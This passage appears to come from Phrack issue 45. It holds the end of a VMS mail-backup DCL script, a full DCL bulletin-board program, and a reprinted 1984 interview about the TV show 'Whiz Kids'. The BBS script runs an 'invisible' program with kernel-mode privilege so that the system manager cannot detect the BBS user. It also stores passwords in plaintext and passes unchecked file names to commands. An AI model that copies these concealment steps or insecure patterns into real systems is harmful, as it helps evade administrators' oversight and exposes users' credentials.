$! Inbound File(s) Processing

$! ==========================

$receive_file:

$!

$ if P2.eqs."" then ‑

read/prompt="MailBack> Destination directory (<CR>= []) : " sys$command P2 $ if P2.eqs."" then p2 ="[]"

$!

$!

$!

$ if P3.eqs."" then ‑

read/prompt="MailBack> Mail file (<CR>= default mail file) : " sys$command P3

$ gosub build_file

$ ws "MailBack> ... Extracting a (PSI_)mail from the NEWMAIL folder ..." $ define/exec sys$output nl: ! ped 18‑May‑90 (wipe out mail displays)

$ if P3.eqs."" then goto normal_get

$ define/nolog new_mail_file 'p3'

$ define/user sys$command sys$input

$ set message/nofacility/noseverity/notext/noident

$ mail

set file new_mail_file

select NEWMAIL

sear MAILBACK Backup‑File

extract/NOHEADER out_file

$ deassign new_mail_file

$ goto clean

$ if P3.nes."" then p2 ="[]"

$!

$!

$ normal_get:

$ define/user sys$command sys$input

$ set message/nofacility/noseverity/notext/noident

$ mail

select NEWMAIL

sear MAILBACK Backup‑File

extract/NOHEADER out_file

$!

$ clean:

$ deassign sys$output !

$ set message/facility/severity/text/ident

$ if f$search("out_file") .eqs. "" then goto nomessage

$ on warning then goto error_conv

$ ws "MailBack> ... Converting format ..."

$ convert/fdl=sys$input out_file out_file /pad=%x00

record

format fixed

carriage_control none

size 2048

$!

$ ws "MailBack> ... Restoring file(s) from the backup saveset ..." $ on warning then goto error_back

$ backup/nolog out_file/save 'P2'*.*

$!

$ delete = "delete"

$ delete/nolog/noconfirm 'file';,;

$ ws "MailBack> ... RECEIVE command SUCCESSfully completed."

$!

$ finish_r:

$ deassign out_file

$ exit 1+0*f$verify(saved_verify)

$! ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ error_conv:

$ ws "MailBack> " + ‑

"An error occurred during the fdl convert of the extracted mail ;" $ ws "MailBack> ... the file ''file' corresponds to " + ‑

$ ws "MailBack> ... the message extracted from Mail."

$ goto finish_r

$!

$ error_back:

$ ws "MailBack> An error occurred during the file restore phase with BACKUP ;" $ ws "MailBack> ... the file ''file' corresponds to "

$ ws "MailBack> " + ‑

"... the message extracted from Mail, converted as a backup Saveset." $ delete/nolog/noconfirm 'file';‑1

$ goto finish_r

$!

$ nomessage:

$ ws "MailBack> No mail message has been found in the NEWMAIL folder." $ goto finish_r

$!

$Build_file: ! Build a unique (temporary) file_name $file = "sys$scratch:mail_" + f$cvtime(f$time(),,"month")+ f$cvtime(f$time(),,"day") + f$cvtime(f$time(),,"hour")+ f$cvtime(f$time(),,"minute")+ f$cvtime(f$time(),,"second") + ".tmp" $define/nolog out_file 'file'

DCL BBS PROGRAM

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 16 of 28

****************************************

DCL BBS PROGRAM

‑‑‑‑‑‑‑cut here‑‑‑‑‑‑‑cut here‑‑‑‑‑‑cut here‑‑‑‑‑‑cut here‑‑‑‑‑‑cut here‑‑‑‑‑‑

$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$ ! Well, this is just a little bbs program, a skeleton on wich u can work, !

$ ! add stuff, subroutines, and so on.

$ ! I am SURE there are bugs, anyway the only I use to know 'till now is in ! $ ! the editor, where anything u write after a "!" will not be saved ! $ ! If sumbody wants to help/cooperate/exchange ideas about this program and/or!

$ ! any Dcl stuff/trick, just write at:

$ ! SSGRR@pol88a.polito.it for internet e‑mail !

$ ! (0) 22221122878::SSGRR for PSI MAIL !

$ ! Mbx RAOUL on Qsd chat system, x.25 nua (0) 208057040540 ! $ ! ANY kind of help and suggestion will be accepted ! ! $ ! ANY kind of cooperation with SERIOUS italian and/or european hackers, ! $ ! especially concerning x.25 networks, vax/vms, unix, cisco systems will be !

$ ! appreciated.

$ !

$ ! Raoul / SferraNet Inc. for Phrack Magazine !

$ ! Many thanks to: Nobody. I usually work on my own. !

$ !

$ !

$ ! Remember to add the files the program requires, such as: !

$ ! INVI.EXE

$ ! goodbye.txt

$ ! files.txt

$ ! etc.....

$ ! And remember to create the subdirectories the program requires, AND to ! $ ! create a [bbs] directory, otherwise to rename [bbs] string, in this !

$ ! program, to a different name.

$ !

$ ! I am sorry if program documentation is poor, but this program is mainly !

$ ! intended as a skeleton for future developments. !

$ ! I swear next time it will came up with a installation.com file :) !

$ !

$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$! BBS PROGRAM RELEASE 2.0

$! ADDED CALL FUNCTION TO SPEED UP PROCESSES

$! LAST MODIFIED ON 15/10/1993 BY RAOUL/SFERRANET

$! BBS PROGRAM

$! Coded By Raoul/SferraNet

$!

$! Featuring:

$! Internal Mbx option

$! Kermit (Vms default) and Zmodem download protocols options

$! internal editor

$! password change option

$! logs of dtes, calls source etc

$! "post a banner" option

$ ! "BBS" account requires:

$ ! Privileges: NETMBX, TMPMBX, CMKRNL

$ ! Defprivileges: NETMBX, TMPMBX, CMKRNL

$ ! Flags: disnewmail, disctly, restricted

$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$ !This next 3 lines put away error messages ( remove it when testing the $ !program, so that you will be able to see wich errors you are getting $ set messa /nofac

$ set messa /notext

$ set messa /nosev

$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$ ! Defines CLS

$ ESC[0,8] = 27

$ CLC == ESC+"[H"+ESC+"[J"

$ cls := "write sys$output CLC"

$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$!define user's terminal

$ ! here we check what kind of terminal user has, knowing that for Vms $ ! a good graphic mode will be from VT100 on, using this list:

$ ! unknown = 0

$ ! VT52 = 64

$ ! VT100 = 96

$ ! VT101 = 97

$ ! VT102 = 98

$ ! VT105 = 99

$ ! VT125 = 100

$ ! VT200 = 110

$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$ cls

$ write sys$output " Checking Terminal Type....Please Wait...."

$ set terminal /inquire

$ ttype = f$getdvi("SYS$COMMAND", "DEVTYPE")

$ if ttype .ge. 96

$ then

$ vt100_flag = 1

$ else

$ vt100_flag = 0

$ endif

$!

$ if vt100_flag .eq. 1

$ then

$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$! This is a list of escape sequences definitions

$ reverse == ESC+"[7m" ! turns on inverse video attribute

$ blink == ESC+"[5m" ! turns on blinking attribute

$ blankfromtop == ESC+"[1J" ! blanks screen from top to cursor

$ blankline == ESC+"[2K" ! blanks current line

$ blankendline == ESC+"[0K" ! blanks from cursor to end of line $ normal == ESC+"[0m" ! Resets to normal video attribute

$ bold == ESC+"[1m" ! turns on Bold attribute

$ underline == ESC+"[4m" ! turns on underline attribute

$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$ write sys$output reverse

$ write sys$output blink

$ write sys$output " Your Terminal Is DEC‑VTxxx Series Compatible ! " $ write sys$output " This Will Help You To Get even MORE&MORE From This Bbs ! " $ write sys$output normal

$ wait 0:00:03

$ else

$ write sys$output " Sorry, Your Terminal Isn't DEC‑VTxxx Series Compatible " $ write sys$output " "

$ write sys$output " Try to Get a Better Emulation Next Time Dude!!! " $ wait 0:00:05

$ cls

$ endif

$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$! USER.COM VERSION 1.0 BETA

$ on error then goto nouser

$ on severe_error then goto nouser

$ in := "inquire /nopunctuation"

$ out := "write sys$output"

$ user:

$ cls

$ out " "

$ out " ** Sferra Bbs Logon ** (C) 1993 Raoul / SferraNet Inc. " $ out " "

$ in usr "Username: "

$ if usr .eqs. "" then goto user

$ if usr .eqs. " " then goto user

$ open /read mailfile [bbs]'usr'.mail /error=nouser

$ set term/noecho

$ in pass "Password: "

$ set term/echo

$ read mailfile pw

$ close mailfile

$ if pw .eqs. pass then goto bbs

$ out " "

$ out "Wrong Password."

$ wrong:

$ out " "

$ in test "Retry or Login as a New User ? (R/N) "

$ if test .eqs. "N" then goto newusr

$ cls

$ goto user

$ goto bbs

$ nouser:

$ out " "

$ out " User ''usr' Not Found In Users File "

$ out " "

$ wait 0:00:02

$ goto wrong

$!% author Raoul/SferraNet

$!% language DCL

$! Bbs program for Vax/Vms

$!

$ bbs:

$ cls

$ type [bbs]welcome.txt

$ wait 00:00:04

$ user == usr

$ tt == f$getdvi("TT","DEVNAM")!‑"‑"

$! l1 == f$locate(":",TT)

$! l1 == l1 ‑1

$ device == tt

$ start == f$cvtime(,,"time")

$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$ ! Here we show user bbs in full mode, to get his/her dte, inet address or $ ! Decnet node, and put it in a file, then we run invisible.exe to $ ! make the user "BBS" invisible

$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$ sh u bbs /f /out=[bbs]'user'.dte

$ open/append output_file [bbs]users.dat

$ write output_file "Bbs Users Log on: ",F$time()

$ write output_file "User: ''user' connected on ''device' at ''start'" $ close output_file

$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$! Here we run INVI.EXE, to get invisible at a sh users command, and to avoid $! System Manager to detect the bbs user

$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$ run [bbs]invi.exe;1

$ errcheck:

$ on control_p then goto mainmenu

$ on control_y then goto mainmenu

$ on control_t then goto mainmenu

$ on control_c then goto mainmenu

$ on error then goto mainmenu

$ on severe_error then goto mainmenu

$ on warning then goto mainmenu

$ write sys$output " "

$ out reverse

$ write sys$output " Welcome To <BBS NAME> "

$ out normal

$ write sys$output " "

$ out blink

$ write sys$output " Running on a Vax/Vms <VMS VERSION>" $ out normal

$ write sys$output " "

$ out reverse

$ write sys$output " You are connected on line ''device' at ''start' " $ out normal

$ write sys$output " "

$ out blink

$ write sys$output " Please Wait... "

$ out normal

$ wait 0:00:05

$ cls

$ write sys$output " User ''user' connected on ''device' at ''start' " $ write sys$output " "

$ out reverse

$ write sys$output " PLEASE POST ME A MESSAGE "

$ out normal

$ write sys$output " "

$ write sys$output " IF U FIND ANY BUGS OR HAVE ANY SUGGESTION" $ wait 0:00:02

$ cls

$ write sys$output " "

$ write sys$output " *** Banner Message *** Read it or Die ! *** " $ write sys$output " "

$ type [bbs]banner.txt

$ write sys$output " "

$ inquire /nopunct banner "Press [ENTER] To Continue..."

$ mainmenu:

$ cls

$ write sys$output " "

$ write sys$output " HackTown Bbs "

$ write sys$output " "

$ write sys$output " Main Menu " $ write sys$output " "

$ write sys$output " "

$ write sys$output " "

$ write sys$output " "

$ write sys$output " [F] Files Area "

$ write sys$output " [M] Mailboxes Area "

$ write sys$output " [I] Informations About This System " $ write sys$output " [B] Leave a Banner

$ write sys$output " [U] List Users "

$ write sys$output " [P] Post a Message To SysOp " $ write sys$output " [L] Logout "

$ write sys$output " "

$ write sys$output " "

$ inquire topmenu "(F,M,I,B,P,L)==>"

$ if topmenu .eqs. "L" then goto L

$ if topmenu .eqs. "F" then goto F

$ if topmenu .eqs. "I" then goto I

$ if topmenu .eqs. "P" then goto P

$ if topmenu .eqs. "M" then goto M

$ if topmenu .eqs. "U" then goto U

$ if topmenu .eqs. "B" then goto B

$ if topmenu .eqs. "" then goto mainmenu

$ if topmenu .eqs. " " then goto mainmenu

$ goto mainmenu

$! Banner Message

$ B:

$ cls

$ write sys$output " Editing Banner! End With a Dot (.) "

$ write sys$output " Notice: Pirating or Incorrects Messages Will Be " $ write sys$output " Accepted...Don't Be Clean! ;) "

$ write sys$output "

$ del [bbs]banner.txt;* /nolog

$ open/write banner_file [bbs]banner.txt

$ write banner_file " Banner Message From user ''usr' Posted at ''start' " $ write banner_file " "

$ write banner_file "**************************************

$ line=1

$ more:

$ inquire /nopunctu text "''line': "

$ if text .eqs. "." then goto endbanner

$ write banner_file text

$ line=line+1

$ goto more

$ write banner_file "**************************************

$ close banner_file

$ write sys$output " "

$ write sys$output " Banner Saved! "

$ wait 0:00:02

$ goto mainmenu

$!

$ U:

$ cls

$ type [bbs]users.lis

$ write sys$output " "

$ write sys$output " "

$ inquire /nopunctuation komodo " Press [ENTER] To Continue..."

$ goto mainmenu

$!

$ L:

$ goto bbsbye

$ logout/full

$!

$!

$! option F

$!

$ F:

$ write sys$output " "

$ write sys$output " "

$ cls

$ write sys$output " "

$ write sys$output " Files Menu "

$ write sys$output " "

$ write sys$output " [1] List files "

$ write sys$output " [2] Type a file "

$ write sys$output " [3] Download a file " $ write sys$output " [4] Upload a file " $ write sys$output " [5] Go back to main menu " $ inquire files "(1,2,3,4,5)==>"

$ if files .eqs. "1" then goto 1

$ if files .eqs. "2" then goto 2

$ if files .eqs. "3" then goto 3

$ if files .eqs. "4" then goto 4

$ if files .eqs. "5" then goto 5

$ if files .eqs. "" then goto F

$ if files .eqs. " " then goto F

$ goto F

$!

$ 1:

$ goto fileslist

$ inquire/nopunct tasto "Press [ENTER] to continue..."

$ goto F

$!

$ 2:

$ write sys$output "U can't type files such as .ZIP .EXE .ARJ etc..." $ inquire file "File to type ? "

$ if file .eqs. "" then goto f

$ if file .eqs " " then goto f

$ if file .eqs. "login.com" then goto F

$ inquire page "do you want the file to be typed with or without page pause ? (A/B) " $ cls

$ if page .eqs "a" then goto nopage

$ if page .eqs. "b" then goto page

$ goto 2

$ page:

$ type [bbs]'file' /nopage

$ inquire/nopunct tasto "Press [ENTER] to continue..."

$ cls

$ goto F

$!

$ nopage:

$ type [bbs]'file' /page

$ inquire/nopunct tasto " Press [ENTER] to continue..."

$ cls

$ goto F

$!

$ 3:

$ cls

$ write sys$output " "

$ inquire dl "File to download ? "

$ inquire protocol "Protocol ? (Z=Zmodem, K=Kermit) "

$ if protocol .eqs. "z" then goto zmodem

$ if protocol .eqs. "k" then goto kermit

$ goto F

$ kermit:

$ if dl .eqs. "" then goto F

$ if dl .eqs. "login.com" then goto F

$ if dl .eqs. "bbs.com" then goto F

$ mcr kermit send [bbs.files]'dl'

$ exit

$ goto F

$!

$ zmodem:

$ !!!!! Put here your zmodem program download string, etc

$!

$ goto F

$!

$ 4:

$ cls

$ write sys$output " "

$ out blink

$ write sys$output " Thanks for your upload! "

$ out normal

$ out reverse

$ write sys$output " Default transfer protocol is Kermit "

$ out normal

$ inquire ul "File to upload ? "

$ if ul .eqs. "" then goto F

$ if ul .eqs. "login.com" then goto F

$ if ul .eqs. "bbs.com" then goto F

$ mcr kermit rec [bbs.files]'ul'

$ exit

$ open/append [bbs.files]files.txt

$ write [bbs.files]files.txt "File ''ul' sent by ''user' at ''start' on ''device' " $ close [bbs.files]files.txt

$ inquire desc " Please type a short description for your file "

$ open/append [bbs.files]files.txt

$ write 'desc'' [bbs.files]files.txt

$ write [bbs.files]files.txt "‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ close [bbs.files]files.txt

$ goto F

$!

$ 5:

$ goto mainmenu

$!

$ M:

$ cls

$ write sys$output " MailBox Menu "

$ write sys$output " "

$ write sys$output " "

$ write sys$output " [S] Send a Message "

$ write sys$output " [R] Read Messages in Your Mailbox " $ write sys$output " [C] Clear Your Mailbox "

$ write sys$output " [D] Delete Your Mailbox " $ write sys$output " [M] Go Back To Main Menu " $ write sys$output " "

$ write sys$output " "

$ inquire mailmenu " (S,R,C,D,M)==> "

$ if mailmenu .eqs. "S" then goto smail

$ if mailmenu .eqs. "R" then goto rmail

$ if mailmenu .eqs. "C" then goto cmbx

$ if mailmenu .eqs. "D" then goto delmail

$ if mailmenu .eqs. "M" then goto mainmenu

$ if mailmenu .eqs. "" then goto M

$ goto M

$!

$!

$ delmail:

$ write sys$output " W A R N I N G ! ! ! " $ write sys$output " "

$ write sys$output " Deleting Your Personal Mailbox " $ write sys$output " Will Remove You From The Users File " $ write sys$output " "

$ inquire del "Do You Want To Delete Your Mailbox ? (Y/N) "

$ if del .eqs. "Y" then goto mbxdely

$ if del .eqs. "N" then goto mbxdeln

$ goto M

$!

$ mbxdely:

$ goto dmbx

$ goto M

$!

$ mbxdeln:

$ cls

$ write sys$output " "

$ write sys$output " Mailbox not Deleted "

$ wait 0:00:02

$ goto M

$!

$ I:

$ cls

$ write sys$output " We're sorry if this system isn't 100% working fine. " $ write sys$output " We keep on to work at it. If you find bugs and/or errors, " $ write sys$output " please send me an URGENT mail (P option at Main Menu) " $ write sys$output " Thanks."

$ write sys$output " "

$ write sys$output " Bbs Staff "

$ wait 0:00:03

$ goto mainmenu

$!

$P:

$ cls

$ write sys$output " "

$ define/user_mode sys$input sys$command

$ mail sys$command <YOUR ACCOUNT> !!!!!!!<‑‑ your VMS account, where you can $! receive regular vms mail via the vms mail utility

$ goto mainmenu

$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$ newusr:

$!

$! NEWUSR.COM VERSION 1.0 BETA

$!

$ on warning then goto ok

$ on control_y then goto ok

$ on error then goto ok

$ on severe_error then goto ok

$ set on

$ in :== "inquire /nopunctuation"

$ out :== "write sys$output"

$!

$ cls

$ write sys$output " "

$ out blink

$ out " Welcome New User ! "

$ out normal

$ out " "

$ out " "

$!

$ in usr "Username: "

$ open /read mailfile [bbs]'usr'.mail /error=ok

$ out " "

$ out "This Username already Exists."

$ out " "

$ wait 0:00:02

$ exit

$ ok:

$ set term/noecho

$ in pass "Password: "

$ set term/echo

$ open /write mailfile [bbs]'usr'.mail

$ write [bbs]mailfile pass

$ close [bbs]mailfile

$ out " "

$ out "User ''usr' Added To Users File."

$ out " "

$ wait 0:00:02

$ exit

$ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$ ! bsbbye, displays a ascii file and logs user out of the system $ bbsbye:

$ cls

$ type [bbs]goodbye.txt /nopage

$ FINISH = F$CVTIME(,,"TIME")

$ WRITE SYS$OUTPUT " "

$ WRITE SYS$OUTPUT " "

$ WRITE SYS$OUTPUT " "

$ WRITE SYS$OUTPUT " "

$ WRITE SYS$OUTPUT " "

$ WRITE SYS$OUTPUT " "

$ WRITE SYS$OUTPUT " "

$ WRITE SYS$OUTPUT " S F E R R A B B S ( C ) 1 9 9 3 " $ WRITE SYS$OUTPUT " "

$ WRITE SYS$OUTPUT " L O G O U T "

$ WRITE SYS$OUTPUT " "

$ WRITE SYS$OUTPUT " "

$ WRITE SYS$OUTPUT " "

$ WRITE SYS$OUTPUT " C A L L B A C K S O O N ! ! !" $ write sys$output " "

$ write sys$output " "

$ write sys$output " "

$ write sys$output " "

$ write sys$output " "

$ open/append output_file [bbs]users.dat

$ write output_file "User: ''user' disconnected from ''device' on ''finish'"

$ write output_file "‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ close output_file

$ exit

$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$ smail:

$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$! SENDMAIL.COM VERSION 1.0 BETA

$!

$!

$!

$ on error then goto nouser

$ on severe_error then goto nouser

$ in :== "inquire /nopunctuation"

$ out :== "write sys$output"

$!

$ cls

$ out " Write Your Message Below. End With a Dot (.) "

$!

$ pass=""

$ in usr "From : "

$ open /read checkpw [bbs]'usr'.mail /error=wronguspw

$ set term/noecho

$ in pw "Password: "

$ set term/echo

$ read checkpw pass

$ if pass .nes. pw then goto wronguspw

$ if pass .nes. "" then close checkpw

$ in dest "To : "

$ open /append mailfile [bbs]'dest'.mail /error=nouser

$ in obj "Object: "

$ write mailfile "From : ",usr

$ write mailfile "To : ",dest

$ write mailfile "Object : ",obj

$ write mailfile " "

$ write mailfile "Text :"

$ write mailfile " "

$ line=2

$ previous:

$ line=line‑1

$ if line .eq. 0 then line=1

$ again:

$ in text "''line': "

$ if text .eqs. "c" then goto previous

$ if text .eqs. "." then goto endinput

$ write mailfile text

$ line=line+1

$ goto again

$ endinput:

$ write mailfile "‑‑‑‑‑‑"

$ close mailfile

$ out " "

$ out "Mail Sent."

$ wait 0:00:02

$ exit

$ nouser:

$ out "The user does not exists, please check the name."

$ out " "

$ wait 0:00:02

$ exit

$ wronguspw:

$ out " "

$ out "You have entered a wrong Username/Password."

$ out " "

$ wait 0:00:02

$ if pass .nes. "" then close checkpw

$ exit

$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$ rmail:

$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$!

$!

$! READMAIL.COM VERSION 1.0 BETA

$!

$!

$!

$ on error then goto finished

$ on severe_error then goto finished

$ in :== "inquire /nopunctuation"

$ out :== "write sys$output"

$!

$!

$ out " "

$ in usr "Username: "

$ set term/noecho

$ in pass "Password: "

$ set term/echo

$ open /read mailfile [bbs]'usr'.mail /error=wronguspw

$ mails=0

$ read mailfile pw

$ if pw .nes. pass then goto wronguspw

$ again:

$ read mailfile text /end=finished

$ if text .eqs. "‑‑‑‑‑‑" then gosub pause

$ out text

$ goto again

$ finished:

$ close mailfile

$ if mails .eq. 0 then goto nomails

$ out " "

$ out "End of Mails."

$ wait 0:00:02

$ exit

$ nomails:

$ out "You have no mails."

$ out " "

$ wait 0:00:02

$ exit

$ pause:

$ out " "

$ in more "Press any key to read next mail, press X to exit."

$ if more .eqs. "X" then goto exitmail

$ text=CLC

$ mails=mails+1

$ return

$ wronguspw:

$ out " "

$ out "You have entered a wrong Username/Password."

$ out " "

$ close mailfile

$ exit

$ exitmail:

$ close mailfile

$ exit

$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$ cmbx:

$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$!

$! CLEARMAIL.COM VERSION 1.0 BETA

$!

$!

$!

$ on error then goto mistake

$ on severe_error then goto mistake

$ in :== "inquire /nopunctuation"

$ out :== "write sys$output"

$!

$ cls

$!

$ pass=""

$ in usr "Username: "

$ open /read mailfile [bbs]'usr'.mail /error=wronguspw

$ set term/noecho

$ in pass "Password: "

$ set term/echo

$ mails=0

$ read mailfile pw

$ if pw .nes. pass then goto wronguspw

$ close mailfile

$ open /write newfile [bbs]usr.tmp /error=wronguspw

$ write newfile pw

$ close newfile

$ delete [bbs]'usr'.mail;*

$ rename [bbs]usr.tmp [bbs]'usr'.mail /nolog

$ cls

$ out " "

$ out "Mailbox Cleared."

$ wait 0:00:02

$ exit

$ mistake:

$ cls

$ out " "

$ out "An error has occurred, contact Sysop."

$ out " "

$ exit

$ wronguspw:

$ cls

$ out " "

$ out "You have entered a wrong Username/Password."

$ out " "

$ wait 0:00:02

$ if pass .nes. "" then close mailfile

$ exit

$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$ Dmbx:

$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$!

$! DELETEMBX.COM VERSION 1.0 BETA

$!

$!

$!

$ on error then goto nouser

$ on severe_error then goto nouser

$ in :== "inquire /nopunctuation"

$ out :== "write sys$output"

$ out " "

$!

$!

$ in usr "Username: "

$ open /read mailfile [bbs]'usr'.mail /error=nouser

$ set term/noecho

$ in pass "Password: "

$ set term/echo

$ read mailfile pw

$ close mailfile

$ if pw .eqs. pass then goto deleteit

$ out " "

$ out "Wrong Password."

$ wait 0:00:02

$ exit

$ deleteit:

$ delete [bbs]'usr'.mail;* /nolog

$ out " "

$ out "Mailbox Deleted."

$ out " "

$ wait 0:00:02

$ exit

$ nouser:

$ out " "

$ out "This Mailbox doesn't exists!"

$ out " "

$ wait 0:00:02

$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$ fileslist

$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

$ fileslist: subroutine

$ cls

$ type [bbs.files]files.txt

$ write sys$output " "

$ exit

Hollywood-Style Bits & Bytes

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 17 of 28

****************************************

[While scouring through the fire hazard I call a bedroom, I stumbled upon this piece of history. I don't know how many of you will remember this, or moreover, how many of you will appreciate it, but here it is anyway.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

(From Video Games, No. 16, January 1984)

Hollywood‑Style Bits and Bytes

Whiz Kids' Executive Producer Phil DeGuere Takes You Behind the Scenes of His Hit TV Series

by Richard Goodwin

"I want to overcome what appears to be peoples' innate fear of computers at an early age to that they won't have any fear nor will be particularly in awe of them," says Executive Producer Phil DeGuere of his new TV series "Whiz Kids."

At the time he was speaking, it was January and CBS had just given him the go‑ahead to prepare a pilot. After the pilot was delivered in April, the network gave him a series commitment to produce the successive episodes.

It wasn't until this past June that "WarGames" opened and DeGuere, who wasn't overly thrilled with the summer smash, goes to great length to make people aware that there are no similarities. In fact, he says, the idea was hatched more like a year‑and‑a‑half ago, before WarGames even went into production. DeGuere, a large, slightly rumpled appearing Californian, is one of Universal's most successful television producers. He has been with the giant studio for nearly a decade and has had a string of popular series including "Baa Baa Black Sheep" and the current hit, "Simon and Simon." A long time fan of science fiction, DeGuere feels the new series, now seen on Wednesday evenings is living up to the original meaning of science fiction. He's taking today's technology and expanding upon it in fictionalized settings.

"The important thing is versilitude and not accuracy," he says while seated in his large office. "You should feel when watching it that it's the real thing. I think we've succeeded in that because consistently, computer professionals have enjoyed the pilot and even though they know better than anybody that there are impossible things being done in that pilot. It's not like having a Volkswagon fly...it's not that impossible."

Computer fans will find many identifiable machines on the show with most of the major companies represented in one way or another. "I've got to differentiate between what are essentially props on the one hand and working gadgets on the other," DeGuere explains. "In terms of props, you're going to see things like Apples and Ataris. We have been using some Aquariuses from Mattel and if Coleco ever comes up with ADAM, I'm sure we'll use that too.

"On the higher tech side, we'll have some of the hot portable computers like Gavilan and Compass, all of which basically are things people sit at. There may not be any systems functioning during the course of the show.

"When it comes to real working gadgets, it appears that we have worked out an arrangement with Xerox to use what is probably the most sophisticated personal computer in existence, the Xerox 1100, which is such an expensive machine and was responsible for some super‑high resolution graphics in the pilot. After some modifications to the machine it will be capable of generating some great graphic material."

DeGuere shifts a bit in his chair, runs a hand through his tousled hair and adds, "We're into some robots. We're using one called RB5. They're pretty amazing machines. RB5 is like an R2D2. We're planning to incorporate it into some classroom situations."

The computer whiz and focal point of the series centers around Richie, the "hacker" played by Matthew Laborteaux. He's surrounded by three friends with varying degrees of interest in computers but all love the adventures. There's Hamilton Parker (Todd Porter), the freshman class president; Jeremy (Jeffrey Jacquet), the resident jock and Alice (Andrea Elson) who wants to belong to the gang. Richie is also forced to deal with a younger sister (Melanie Gaffin) who wants to be in on the action but is either too scared or perhaps intimidated a bit by Richie.

The youngsters go to a progressive California high school with a full complement of computers and an exasperated teacher who is always bested by Richie. When danger lurks, though, the kids turn to Farley (Max Gail, best remembered as Wojo on "Barney Miller"), the crime reporter for the local paper.

Originally, the kids were teamed with a younger reporter, but CBS decided a more adult, experienced role model was needed to offset the youthful exuberance of the stars. Also representing the adult world is a cop named Quinn, played by A. Martinez. And to keep things interesting, the cool and dapper Quinn dislikes Farley, a Damon Runyeonesque‑type of guy.

As seen in the pilot, the adults do not appear to be the brightest of people and DeGuere explains it's done on purpose. The focus of the show is on the kids. We want them, the underdogs, to succeed. In order for that to happen the adults have to tune them out," he defends. The first story has Richie and the gang bringing down an overambitious vice‑president of a mammoth conglomerate. They story, while amusing, raised the ire of critics by the cavalier actions of the kids.

At a promotional meeting held early this summer, DeGuere defended his show with characteristic bluntness. "I insulted them personally and I insulted their family and I insulted their heritage, their future generations, their profession and just about anything else I could think up. The major attention being an attempt to get them off this idea that they have uncovered some horrible sin. I think we were very successful in doing that."

DeGuere says his series won't show the kids breaking into computers and invading peoples' privacy. Rather, the repercussions of such actions will form the core of some segments. "We were responsible on those subjects from the very beginning," he points out. "There is something synergistic about a computer program. A computer program does things that a computer designer does not always intend. Even if you sat down from scratch. If the armed forces came to you and said, 'Here's all the money and time in the world. You're going to start from scratch with the hardware and software. Build us a network that is totally secure.' I don't think it could be done. That's one of the things that's so fascinating about computers‑‑the program ends up being more than the sum of its parts. Even though, in most states, there are statutes which state that accessing another computer system without permission is against the law."

"Whiz Kids" will benefit from the experience of two consultants, adding a level of technical accuracy other films and television programs have missed. David Gunn worked on the pilot and was signed on by DeGuere for the duration of the series. "He's very knowledgeable in the field of microcomputers and I'm fairly knowledgeable myself," he says. "We have a technical advisor on the show who is an investigator for the District Attorney's office and is a peace officer who has specialized in computer crimes for years. So, when it comes to areas of legality on the one hand and technical accuracy on the other, we go to him. This is a very tiny portion of what's going on in the series. I personally would prefer the technological aspects to be handled as accurately as possible and I would rather have it believable than sound stupid.

"In many cases we will have characters spewing a lot of jargon and it happens to be true but it's not intended to be something the audience has to follow. It's like medical shows where the doctors are talking about this and that," DeGuere explains.

The series will be a fast‑paced mixture of adventure and intrigue that usually has the kids stumbling upon a problem and then acting quickly to stop the crime or criminals without getting caught or killed. Added to the stories will be glimpses of their home lives and interrelationships. DeGuere repeats his hope that the show catches on and finds an audience so he can have the kids grow and develop, something fairly unique to series television. "If the show clicks, we have it cast in a way that allows us to follow them right on through college," he optimistically offers.

When not in school, the kids will be clustered around Richie's home computer and trying to crack cases. Richie has built a complicated system that would be any hacker's dream including a voice activated system named RALF complete with camera and robot appendages (This way Richie can eat a sandwich while using both hands to manipulate the keyboard).

